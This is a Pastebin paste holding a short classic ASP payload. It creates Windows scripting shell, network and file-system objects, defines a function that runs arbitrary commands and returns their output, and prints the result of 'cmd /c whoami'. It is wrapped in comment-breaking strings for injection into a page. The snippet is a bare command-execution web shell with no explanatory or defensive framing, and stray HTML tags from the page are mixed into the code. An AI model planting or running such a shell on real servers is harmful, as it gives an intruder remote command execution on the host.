Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!-
- <% Response.write("-" & "->")
- Response.write("</p>
- <pre>")</p>
- <p>Set oScript = Server.CreateObject("WSCRIPT.SHELL")
- Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
- Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
- Function getCommandOutput(theCommand)
- Dim objShell, objCmdExec
- Set objShell = CreateObject("WScript.Shell")
- Set objCmdExec = objshell.exec(thecommand)
- getCommandOutput = objCmdExec.StdOut.ReadAll
- end Function</p>
- <p>Response.write(getCommandOutput('cmd /c whoami'))
- Response.write("</pre>
- </p><!-" & "-")%>
- ->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement